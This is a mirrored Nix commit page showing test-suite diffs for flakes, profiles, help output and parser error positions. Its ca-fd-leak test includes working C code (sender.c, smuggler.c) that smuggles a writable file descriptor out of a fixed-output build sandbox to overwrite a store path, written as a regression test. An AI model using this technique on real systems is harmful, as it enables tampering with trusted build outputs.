mirror of
https://github.com/NixOS/nix
synced 2025-07-08 19:23:54 +02:00
Merge branch 'master' into overlayfs-store
This commit is contained in:
commit
18945e3f44
131 changed files with 1958 additions and 4473 deletions
|
@ -216,6 +216,17 @@ expectStderr() {
|
|||
return 0
|
||||
}
|
||||
|
||||
# Run a command and check whether the stderr matches stdin.
|
||||
# Show a diff when output does not match.
|
||||
# Usage:
|
||||
#
|
||||
# assertStderr nix profile remove nothing << EOF
|
||||
# error: This error is expected
|
||||
# EOF
|
||||
assertStderr() {
|
||||
diff -u /dev/stdin <($@ 2>/dev/null 2>&1)
|
||||
}
|
||||
|
||||
needLocalStore() {
|
||||
if [[ "$NIX_REMOTE" == "daemon" ]]; then
|
||||
skipTest "Can’t run through the daemon ($1)"
|
||||
|
|
|
@ -41,3 +41,14 @@ mkdir -p $TEST_ROOT/xyzzy $TEST_ROOT/foo
|
|||
ln -sfn ../xyzzy $TEST_ROOT/foo/bar
|
||||
printf 123 > $TEST_ROOT/xyzzy/default.nix
|
||||
[[ $(nix eval --impure --expr "import $TEST_ROOT/foo/bar") = 123 ]]
|
||||
|
||||
# Test --arg-from-file.
|
||||
[[ "$(nix eval --raw --arg-from-file foo config.nix --expr '{ foo }: { inherit foo; }' foo)" = "$(cat config.nix)" ]]
|
||||
|
||||
# Check that special(-ish) files are drained.
|
||||
if [[ -e /proc/version ]]; then
|
||||
[[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]]
|
||||
fi
|
||||
|
||||
# Test --arg-from-stdin.
|
||||
[[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]]
|
||||
|
|
|
@ -564,6 +564,16 @@ nix flake lock "$flake3Dir"
|
|||
nix flake update flake2/flake1 --flake "$flake3Dir"
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
|
||||
# Test updating multiple inputs.
|
||||
nix flake lock "$flake3Dir" --override-input flake1 flake1/master/$hash1
|
||||
nix flake lock "$flake3Dir" --override-input flake2/flake1 flake1/master/$hash1
|
||||
[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]]
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]]
|
||||
|
||||
nix flake update flake1 flake2/flake1 --flake "$flake3Dir"
|
||||
[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]]
|
||||
|
||||
# Test 'nix flake metadata --json'.
|
||||
nix flake metadata "$flake3Dir" --json | jq .
|
||||
|
||||
|
|
|
@ -22,7 +22,7 @@ mkdir subdir
|
|||
pushd subdir
|
||||
|
||||
success=("" . .# .#test ../subdir ../subdir#test "$PWD")
|
||||
failure=("path:$PWD")
|
||||
failure=("path:$PWD" "../simple.nix")
|
||||
|
||||
for i in "${success[@]}"; do
|
||||
nix build $i || fail "flake should be found by searching up directories"
|
||||
|
|
|
@ -56,3 +56,12 @@ echo Run Hello World! > $TEST_ROOT/dummy3/dir/executable
|
|||
path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3)
|
||||
hash3=$(nix-store -q --hash $path3)
|
||||
test "$hash3" = "sha256:08y3nm3mvn9qvskqnf13lfgax5lh73krxz4fcjd5cp202ggpw9nv"
|
||||
|
||||
rm -rf $TEST_ROOT/dummy3
|
||||
mkdir -p $TEST_ROOT/dummy3
|
||||
mkdir -p $TEST_ROOT/dummy3/dir
|
||||
touch $TEST_ROOT/dummy3/dir/file
|
||||
ln -s './hello/world.txt' $TEST_ROOT/dummy3/dir/symlink
|
||||
path3=$(nix store add --mode git --hash-algo sha1 $TEST_ROOT/dummy3)
|
||||
hash3=$(nix-store -q --hash $path3)
|
||||
test "$hash3" = "sha256:1dwazas8irzpar89s8k2bnp72imfw7kgg4aflhhsfnicg8h428f3"
|
||||
|
|
69
tests/functional/help.sh
Normal file
69
tests/functional/help.sh
Normal file
|
@ -0,0 +1,69 @@
|
|||
source common.sh
|
||||
|
||||
clearStore
|
||||
|
||||
# test help output
|
||||
|
||||
nix-build --help
|
||||
nix-shell --help
|
||||
|
||||
nix-env --help
|
||||
nix-env --install --help
|
||||
nix-env --upgrade --help
|
||||
nix-env --uninstall --help
|
||||
nix-env --set --help
|
||||
nix-env --set-flag --help
|
||||
nix-env --query --help
|
||||
nix-env --switch-profile --help
|
||||
nix-env --list-generations --help
|
||||
nix-env --delete-generations --help
|
||||
nix-env --switch-generation --help
|
||||
nix-env --rollback --help
|
||||
|
||||
nix-store --help
|
||||
nix-store --realise --help
|
||||
nix-store --serve --help
|
||||
nix-store --gc --help
|
||||
nix-store --delete --help
|
||||
nix-store --query --help
|
||||
nix-store --add --help
|
||||
nix-store --add-fixed --help
|
||||
nix-store --verify --help
|
||||
nix-store --verify-path --help
|
||||
nix-store --repair-path --help
|
||||
nix-store --dump --help
|
||||
nix-store --restore --help
|
||||
nix-store --export --help
|
||||
nix-store --import --help
|
||||
nix-store --optimise --help
|
||||
nix-store --read-log --help
|
||||
nix-store --dump-db --help
|
||||
nix-store --load-db --help
|
||||
nix-store --print-env --help
|
||||
nix-store --generate-binary-cache-key --help
|
||||
|
||||
nix-channel --help
|
||||
nix-collect-garbage --help
|
||||
nix-copy-closure --help
|
||||
nix-daemon --help
|
||||
nix-hash --help
|
||||
nix-instantiate --help
|
||||
nix-prefetch-url --help
|
||||
|
||||
function subcommands() {
|
||||
jq -r '
|
||||
def recurse($prefix):
|
||||
to_entries[] |
|
||||
($prefix + [.key]) as $newPrefix |
|
||||
(if .value | has("commands") then
|
||||
($newPrefix, (.value.commands | recurse($newPrefix)))
|
||||
else
|
||||
$newPrefix
|
||||
end);
|
||||
.args.commands | recurse([]) | join(" ")
|
||||
'
|
||||
}
|
||||
|
||||
nix __dump-cli | subcommands | while IFS= read -r cmd; do
|
||||
nix $cmd --help
|
||||
done
|
6
tests/functional/lang/eval-fail-eol-1.err.exp
Normal file
6
tests/functional/lang/eval-fail-eol-1.err.exp
Normal file
|
@ -0,0 +1,6 @@
|
|||
error: undefined variable 'invalid'
|
||||
at /pwd/lang/eval-fail-eol-1.nix:2:1:
|
||||
1| # foo
|
||||
2| invalid
|
||||
| ^
|
||||
3| # bar
|
3
tests/functional/lang/eval-fail-eol-1.nix
Normal file
3
tests/functional/lang/eval-fail-eol-1.nix
Normal file
|
@ -0,0 +1,3 @@
|
|||
# foo
|
||||
invalid
|
||||
# bar
|
6
tests/functional/lang/eval-fail-eol-2.err.exp
Normal file
6
tests/functional/lang/eval-fail-eol-2.err.exp
Normal file
|
@ -0,0 +1,6 @@
|
|||
error: undefined variable 'invalid'
|
||||
at /pwd/lang/eval-fail-eol-2.nix:2:1:
|
||||
1| # foo
|
||||
2| invalid
|
||||
| ^
|
||||
3| # bar
|
2
tests/functional/lang/eval-fail-eol-2.nix
Normal file
2
tests/functional/lang/eval-fail-eol-2.nix
Normal file
|
@ -0,0 +1,2 @@
|
|||
# foo
invalid
|
||||
# bar
|
6
tests/functional/lang/eval-fail-eol-3.err.exp
Normal file
6
tests/functional/lang/eval-fail-eol-3.err.exp
Normal file
|
@ -0,0 +1,6 @@
|
|||
error: undefined variable 'invalid'
|
||||
at /pwd/lang/eval-fail-eol-3.nix:2:1:
|
||||
1| # foo
|
||||
2| invalid
|
||||
| ^
|
||||
3| # bar
|
3
tests/functional/lang/eval-fail-eol-3.nix
Normal file
3
tests/functional/lang/eval-fail-eol-3.nix
Normal file
|
@ -0,0 +1,3 @@
|
|||
# foo
|
||||
invalid
|
||||
# bar
|
1
tests/functional/lang/eval-okay-inherit-attr-pos.exp
Normal file
1
tests/functional/lang/eval-okay-inherit-attr-pos.exp
Normal file
|
@ -0,0 +1 @@
|
|||
[ { column = 17; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 19; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 4; } { column = 21; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } { column = 23; file = "/pwd/lang/eval-okay-inherit-attr-pos.nix"; line = 5; } ]
|
12
tests/functional/lang/eval-okay-inherit-attr-pos.nix
Normal file
12
tests/functional/lang/eval-okay-inherit-attr-pos.nix
Normal file
|
@ -0,0 +1,12 @@
|
|||
let
|
||||
d = 0;
|
||||
x = 1;
|
||||
y = { inherit d x; };
|
||||
z = { inherit (y) d x; };
|
||||
in
|
||||
[
|
||||
(builtins.unsafeGetAttrPos "d" y)
|
||||
(builtins.unsafeGetAttrPos "x" y)
|
||||
(builtins.unsafeGetAttrPos "d" z)
|
||||
(builtins.unsafeGetAttrPos "x" z)
|
||||
]
|
|
@ -3,3 +3,4 @@ error: attribute 'x' already defined at «stdin»:1:3
|
|||
2| y = 456;
|
||||
3| x = 789;
|
||||
| ^
|
||||
4| }
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
error: attribute 'x' already defined at «stdin»:9:5
|
||||
at «stdin»:10:17:
|
||||
at «stdin»:10:18:
|
||||
9| x = 789;
|
||||
10| inherit (as) x;
|
||||
| ^
|
||||
| ^
|
||||
11| };
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
error: attribute 'x' already defined at «stdin»:9:5
|
||||
at «stdin»:10:17:
|
||||
at «stdin»:10:18:
|
||||
9| x = 789;
|
||||
10| inherit (as) x;
|
||||
| ^
|
||||
| ^
|
||||
11| };
|
||||
|
|
|
@ -3,3 +3,4 @@ error: attribute 'services.ssh.port' already defined at «stdin»:2:3
|
|||
2| services.ssh.port = 22;
|
||||
3| services.ssh.port = 23;
|
||||
| ^
|
||||
4| }
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
error: attribute 'x' already defined at «stdin»:6:12
|
||||
at «stdin»:7:12:
|
||||
error: attribute 'x' already defined at «stdin»:6:13
|
||||
at «stdin»:7:13:
|
||||
6| inherit x;
|
||||
7| inherit x;
|
||||
| ^
|
||||
| ^
|
||||
8| };
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
error: syntax error, unexpected end of file, expecting '"'
|
||||
at «stdin»:3:5:
|
||||
at «stdin»:3:6:
|
||||
2| # Note that this file must not end with a newline.
|
||||
3| a 1"$
|
||||
| ^
|
||||
| ^
|
||||
|
|
5
tests/functional/lang/parse-fail-eof-pos.err.exp
Normal file
5
tests/functional/lang/parse-fail-eof-pos.err.exp
Normal file
|
@ -0,0 +1,5 @@
|
|||
error: syntax error, unexpected end of file
|
||||
at «stdin»:3:1:
|
||||
2| # no content
|
||||
3|
|
||||
| ^
|
2
tests/functional/lang/parse-fail-eof-pos.nix
Normal file
2
tests/functional/lang/parse-fail-eof-pos.nix
Normal file
|
@ -0,0 +1,2 @@
|
|||
(
|
||||
# no content
|
|
@ -1,6 +1,6 @@
|
|||
error: undefined variable 'gcc'
|
||||
at «stdin»:8:12:
|
||||
7|
|
||||
at «stdin»:9:13:
|
||||
8| body = ({
|
||||
| ^
|
||||
9| inherit gcc;
|
||||
| ^
|
||||
10| }).gcc;
|
||||
|
|
|
@ -1,5 +1,6 @@
|
|||
error: syntax error, unexpected ':', expecting '}'
|
||||
at «stdin»:3:13:
|
||||
2|
|
||||
3| f = {x, y :
|
||||
3| f = {x, y : ["baz" "bar" z "bat"]}: x + y;
|
||||
| ^
|
||||
4|
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
error: syntax error, unexpected invalid token, expecting end of file
|
||||
at «stdin»:1:5:
|
||||
1| 123 テ
|
||||
1| 123 é 4
|
||||
| ^
|
||||
2|
|
||||
|
|
|
@ -1 +1 @@
|
|||
({ fetchurl, localServer ? false, httpServer ? false, sslSupport ? false, pythonBindings ? false, javaSwigBindings ? false, javahlBindings ? false, stdenv, openssl ? null, httpd ? null, db4 ? null, expat, swig ? null, j2sdk ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); }))
|
||||
({ db4 ? null, expat, fetchurl, httpServer ? false, httpd ? null, j2sdk ? null, javaSwigBindings ? false, javahlBindings ? false, localServer ? false, openssl ? null, pythonBindings ? false, sslSupport ? false, stdenv, swig ? null }: assert (expat != null); assert (localServer -> (db4 != null)); assert (httpServer -> ((httpd != null) && ((httpd).expat == expat))); assert (sslSupport -> ((openssl != null) && (httpServer -> ((httpd).openssl == openssl)))); assert (pythonBindings -> ((swig != null) && (swig).pythonSupport)); assert (javaSwigBindings -> ((swig != null) && (swig).javaSupport)); assert (javahlBindings -> (j2sdk != null)); ((stdenv).mkDerivation { inherit expat httpServer javaSwigBindings javahlBindings localServer pythonBindings sslSupport; builder = /foo/bar; db4 = (if localServer then db4 else null); httpd = (if httpServer then httpd else null); j2sdk = (if javaSwigBindings then (swig).j2sdk else (if javahlBindings then j2sdk else null)); name = "subversion-1.1.1"; openssl = (if sslSupport then openssl else null); patches = (if javahlBindings then [ (/javahl.patch) ] else [ ]); python = (if pythonBindings then (swig).python else null); src = (fetchurl { md5 = "a180c3fe91680389c210c99def54d9e0"; url = "http://subversion.tigris.org/tarballs/subversion-1.1.1.tar.bz2"; }); swig = (if (pythonBindings || javaSwigBindings) then swig else null); }))
|
||||
|
|
|
@ -129,7 +129,8 @@ nix_tests = \
|
|||
read-only-store.sh \
|
||||
nested-sandboxing.sh \
|
||||
impure-env.sh \
|
||||
debugger.sh
|
||||
debugger.sh \
|
||||
help.sh
|
||||
|
||||
ifeq ($(HAVE_LIBCPUID), 1)
|
||||
nix_tests += compute-levels.sh
|
||||
|
|
|
@ -74,10 +74,49 @@ nix profile upgrade flake1
|
|||
[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello NixOS" ]]
|
||||
nix profile history | grep "packages.$system.default: 1.0, 1.0-man -> 2.0, 2.0-man"
|
||||
|
||||
# Test upgrading package using regular expression.
|
||||
printf 2.1 > $flake1Dir/version
|
||||
nix profile upgrade --regex '.*'
|
||||
[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.1/bin/hello ]]
|
||||
nix profile rollback
|
||||
|
||||
# Test upgrading all packages
|
||||
printf 2.2 > $flake1Dir/version
|
||||
nix profile upgrade --all
|
||||
[[ $(readlink $TEST_HOME/.nix-profile/bin/hello) =~ .*-profile-test-2\.2/bin/hello ]]
|
||||
nix profile rollback
|
||||
printf 1.0 > $flake1Dir/version
|
||||
|
||||
# Test --all exclusivity.
|
||||
assertStderr nix --offline profile upgrade --all foo << EOF
|
||||
error: --all cannot be used with package names or regular expressions.
|
||||
Try 'nix --help' for more information.
|
||||
EOF
|
||||
|
||||
# Test matching no packages using literal package name.
|
||||
assertStderr nix --offline profile upgrade this_package_is_not_installed << EOF
|
||||
warning: Package name 'this_package_is_not_installed' does not match any packages in the profile.
|
||||
warning: No packages to upgrade. Use 'nix profile list' to see the current profile.
|
||||
EOF
|
||||
|
||||
# Test matching no packages using regular expression.
|
||||
assertStderr nix --offline profile upgrade --regex '.*unknown_package.*' << EOF
|
||||
warning: Regex '.*unknown_package.*' does not match any packages in the profile.
|
||||
warning: No packages to upgrade. Use 'nix profile list' to see the current profile.
|
||||
EOF
|
||||
|
||||
# Test removing all packages using regular expression.
|
||||
nix profile remove --regex '.*' 2>&1 | grep "removed 2 packages, kept 0 packages"
|
||||
nix profile rollback
|
||||
|
||||
# Test 'history', 'diff-closures'.
|
||||
nix profile diff-closures
|
||||
|
||||
# Test rollback.
|
||||
printf World > $flake1Dir/who
|
||||
nix profile upgrade flake1
|
||||
printf NixOS > $flake1Dir/who
|
||||
nix profile upgrade flake1
|
||||
nix profile rollback
|
||||
[[ $($TEST_HOME/.nix-profile/bin/hello) = "Hello World" ]]
|
||||
|
||||
|
|
90
tests/nixos/ca-fd-leak/default.nix
Normal file
90
tests/nixos/ca-fd-leak/default.nix
Normal file
|
@ -0,0 +1,90 @@
|
|||
# Nix is a sandboxed build system. But Not everything can be handled inside its
|
||||
# sandbox: Network access is normally blocked off, but to download sources, a
|
||||
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
|
||||
# The detail here is not important, but in our case it means that the hash of
|
||||
# the output has to be known beforehand. And if you know that, you get a few
|
||||
# rights: you no longer run inside a special network namespace!
|
||||
#
|
||||
# Now, Linux has a special feature, that not many other unices do: Abstract
|
||||
# unix domain sockets! Not only that, but those are namespaced using the
|
||||
# network namespace! That means that we have a way to create sockets that are
|
||||
# available in every single fixed-output derivation, and also all processes
|
||||
# running on the host machine! Now, this wouldn't be that much of an issue, as,
|
||||
# well, the whole idea is that the output is pure, and all processes in the
|
||||
# sandbox are killed before finalizing the output. What if we didn't need those
|
||||
# processes at all? Unix domain sockets have a semi-known trick: you can pass
|
||||
# file descriptors around!
|
||||
# This makes it possible to exfiltrate a file-descriptor with write access to
|
||||
# $out outside of the sandbox. And that file-descriptor can be used to modify
|
||||
# the contents of the store path after it has been registered.
|
||||
|
||||
{ config, ... }:
|
||||
|
||||
let
|
||||
pkgs = config.nodes.machine.nixpkgs.pkgs;
|
||||
|
||||
# Simple C program that sends a a file descriptor to `$out` to a Unix
|
||||
# domain socket.
|
||||
# Compiled statically so that we can easily send it to the VM and use it
|
||||
# inside the build sandbox.
|
||||
sender = pkgs.runCommandWith {
|
||||
name = "sender";
|
||||
stdenv = pkgs.pkgsStatic.stdenv;
|
||||
} ''
|
||||
$CC -static -o $out ${./sender.c}
|
||||
'';
|
||||
|
||||
# Okay, so we have a file descriptor shipped out of the FOD now. But the
|
||||
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
|
||||
# lives in a mount namespace where it is not! So even when this file exists
|
||||
# in the actual Nix store, we're capable of just modifying its contents...
|
||||
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
|
||||
|
||||
# The abstract socket path used to exfiltrate the file descriptor
|
||||
socketName = "FODSandboxExfiltrationSocket";
|
||||
in
|
||||
{
|
||||
name = "ca-fd-leak";
|
||||
|
||||
nodes.machine =
|
||||
{ config, lib, pkgs, ... }:
|
||||
{ virtualisation.writableStore = true;
|
||||
nix.settings.substituters = lib.mkForce [ ];
|
||||
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
|
||||
};
|
||||
|
||||
testScript = { nodes }: ''
|
||||
start_all()
|
||||
|
||||
machine.succeed("echo hello")
|
||||
# Start the smuggler server
|
||||
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
|
||||
|
||||
# Build the smuggled derivation.
|
||||
# This will connect to the smuggler server and send it the file descriptor
|
||||
machine.succeed(r"""
|
||||
nix-build -E '
|
||||
builtins.derivation {
|
||||
name = "smuggled";
|
||||
system = builtins.currentSystem;
|
||||
# look ma, no tricks!
|
||||
outputHashMode = "flat";
|
||||
outputHashAlgo = "sha256";
|
||||
outputHash = builtins.hashString "sha256" "hello, world\n";
|
||||
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
|
||||
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
|
||||
}'
|
||||
""".strip())
|
||||
|
||||
|
||||
# Tell the smuggler server that we're done
|
||||
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
|
||||
|
||||
# Check that the file was not modified
|
||||
machine.succeed(r"""
|
||||
cat ./result
|
||||
test "$(cat ./result)" = "hello, world"
|
||||
""".strip())
|
||||
'';
|
||||
|
||||
}
|
65
tests/nixos/ca-fd-leak/sender.c
Normal file
65
tests/nixos/ca-fd-leak/sender.c
Normal file
|
@ -0,0 +1,65 @@
|
|||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Set up a abstract domain socket path to connect to.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
|
||||
// Now try to connect, To ensure we work no matter what order we are
|
||||
// executed in, just busyloop here.
|
||||
int res = -1;
|
||||
while (res < 0) {
|
||||
res = connect(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0 && errno != ECONNREFUSED) perror("connect");
|
||||
if (errno != ECONNREFUSED) break;
|
||||
}
|
||||
|
||||
// Write our message header.
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Write an SCM_RIGHTS message containing the output path.
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
hdr->cmsg_len = CMSG_LEN(sizeof(int));
|
||||
hdr->cmsg_level = SOL_SOCKET;
|
||||
hdr->cmsg_type = SCM_RIGHTS;
|
||||
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
|
||||
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
|
||||
|
||||
msg.msg_controllen = CMSG_SPACE(sizeof(int));
|
||||
|
||||
// Write a single null byte too.
|
||||
msg.msg_iov = malloc(sizeof(struct iovec));
|
||||
msg.msg_iov[0].iov_base = "";
|
||||
msg.msg_iov[0].iov_len = 1;
|
||||
msg.msg_iovlen = 1;
|
||||
|
||||
// Send it to the othher side of this connection.
|
||||
res = sendmsg(sock, &msg, 0);
|
||||
if (res < 0) perror("sendmsg");
|
||||
int buf;
|
||||
|
||||
// Wait for the server to close the socket, implying that it has
|
||||
// received the commmand.
|
||||
recv(sock, (void *)&buf, sizeof(int), 0);
|
||||
}
|
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
66
tests/nixos/ca-fd-leak/smuggler.c
Normal file
|
@ -0,0 +1,66 @@
|
|||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <assert.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
assert(argc == 2);
|
||||
|
||||
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
|
||||
|
||||
// Bind to the socket.
|
||||
struct sockaddr_un data;
|
||||
data.sun_family = AF_UNIX;
|
||||
data.sun_path[0] = 0;
|
||||
strcpy(data.sun_path + 1, argv[1]);
|
||||
int res = bind(sock, (const struct sockaddr *)&data,
|
||||
offsetof(struct sockaddr_un, sun_path)
|
||||
+ strlen(argv[1])
|
||||
+ 1);
|
||||
if (res < 0) perror("bind");
|
||||
|
||||
res = listen(sock, 1);
|
||||
if (res < 0) perror("listen");
|
||||
|
||||
int smuggling_fd = -1;
|
||||
|
||||
// Accept the connection a first time to receive the file descriptor.
|
||||
fprintf(stderr, "%s\n", "Waiting for the first connection");
|
||||
int a = accept(sock, 0, 0);
|
||||
if (a < 0) perror("accept");
|
||||
|
||||
struct msghdr msg = {0};
|
||||
msg.msg_control = malloc(128);
|
||||
msg.msg_controllen = 128;
|
||||
|
||||
// Receive the file descriptor as sent by the smuggler.
|
||||
recvmsg(a, &msg, 0);
|
||||
|
||||
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
|
||||
while (hdr) {
|
||||
if (hdr->cmsg_level == SOL_SOCKET
|
||||
&& hdr->cmsg_type == SCM_RIGHTS) {
|
||||
|
||||
// Grab the copy of the file descriptor.
|
||||
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
|
||||
}
|
||||
|
||||
hdr = CMSG_NXTHDR(&msg, hdr);
|
||||
}
|
||||
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
|
||||
close(a);
|
||||
|
||||
// Wait for a second connection, which will tell us that the build is
|
||||
// done
|
||||
a = accept(sock, 0, 0);
|
||||
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
|
||||
// Write a new content to the file
|
||||
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
|
||||
char * new_content = "Pwned\n";
|
||||
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
|
||||
if (written_bytes != strlen(new_content)) perror("write");
|
||||
}
|
|
@ -109,7 +109,7 @@ in
|
|||
nix.package = lib.mkForce pkgs.nixVersions.nix_2_13;
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
# TODO: (nixpkgs update) remoteBuildsSshNg_remote_2_18 = ...
|
||||
|
||||
# Test our Nix as a builder for clients that are older
|
||||
|
@ -156,4 +156,6 @@ in
|
|||
(system: runNixOSTestFor system ./setuid.nix);
|
||||
|
||||
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
|
||||
|
||||
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
|
||||
}
|
||||
|
|
|
@ -58,7 +58,7 @@ let
|
|||
mkdir -p $out/{commits,tarball}
|
||||
|
||||
# Setup https://docs.github.com/en/rest/commits/commits#get-a-commit
|
||||
echo '{"sha": "${private-flake-rev}"}' > $out/commits/HEAD
|
||||
echo '{"sha": "${private-flake-rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD
|
||||
|
||||
# Setup tarball download via API
|
||||
dir=private-flake
|
||||
|
@ -72,7 +72,7 @@ let
|
|||
mkdir -p $out/commits
|
||||
|
||||
# Setup https://docs.github.com/en/rest/commits/commits#get-a-commit
|
||||
echo '{"sha": "${nixpkgs.rev}"}' > $out/commits/HEAD
|
||||
echo '{"sha": "${nixpkgs.rev}", "commit": {"tree": {"sha": "ffffffffffffffffffffffffffffffffffffffff"}}}' > $out/commits/HEAD
|
||||
'';
|
||||
|
||||
archive = pkgs.runCommand "nixpkgs-flake" {}
|
||||
|
|
|
@ -151,7 +151,7 @@ namespace nix {
|
|||
}
|
||||
|
||||
TEST_F(PrimOpTest, unsafeGetAttrPos) {
|
||||
state.corepkgsFS->addFile(CanonPath("foo.nix"), "{ y = \"x\"; }");
|
||||
state.corepkgsFS->addFile(CanonPath("foo.nix"), "\n\r\n\r{ y = \"x\"; }");
|
||||
|
||||
auto expr = "builtins.unsafeGetAttrPos \"y\" (import <nix/foo.nix>)";
|
||||
auto v = eval(expr);
|
||||
|
@ -165,10 +165,12 @@ namespace nix {
|
|||
|
||||
auto line = v.attrs->find(createSymbol("line"));
|
||||
ASSERT_NE(line, nullptr);
|
||||
ASSERT_THAT(*line->value, IsIntEq(1));
|
||||
state.forceValue(*line->value, noPos);
|
||||
ASSERT_THAT(*line->value, IsIntEq(4));
|
||||
|
||||
auto column = v.attrs->find(createSymbol("column"));
|
||||
ASSERT_NE(column, nullptr);
|
||||
state.forceValue(*column->value, noPos);
|
||||
ASSERT_THAT(*column->value, IsIntEq(3));
|
||||
}
|
||||
|
||||
|
|
|
@ -110,8 +110,8 @@ TEST_F(ValuePrintingTests, vLambda)
|
|||
.up = nullptr,
|
||||
.values = { }
|
||||
};
|
||||
PosTable::Origin origin((std::monostate()));
|
||||
auto posIdx = state.positions.add(origin, 1, 1);
|
||||
PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1);
|
||||
auto posIdx = state.positions.add(origin, 0);
|
||||
auto body = ExprInt(0);
|
||||
auto formals = Formals {};
|
||||
|
||||
|
@ -558,8 +558,8 @@ TEST_F(ValuePrintingTests, ansiColorsLambda)
|
|||
.up = nullptr,
|
||||
.values = { }
|
||||
};
|
||||
PosTable::Origin origin((std::monostate()));
|
||||
auto posIdx = state.positions.add(origin, 1, 1);
|
||||
PosTable::Origin origin = state.positions.addOrigin(std::monostate(), 1);
|
||||
auto posIdx = state.positions.add(origin, 0);
|
||||
auto body = ExprInt(0);
|
||||
auto formals = Formals {};
|
||||
|
||||
|
|
|
@ -6,11 +6,9 @@
|
|||
|
||||
namespace nix {
|
||||
|
||||
#ifndef NDEBUG
|
||||
TEST(OutputsSpec, no_empty_names) {
|
||||
ASSERT_DEATH(OutputsSpec::Names { std::set<std::string> { } }, "");
|
||||
}
|
||||
#endif
|
||||
|
||||
#define TEST_DONT_PARSE(NAME, STR) \
|
||||
TEST(OutputsSpec, bad_ ## NAME) { \
|
||||
|
|
Binary file not shown.
|
@ -1,3 +1,4 @@
|
|||
100644 blob 63ddb340119baf8492d2da53af47e8c7cfcd5eb2 Foo
|
||||
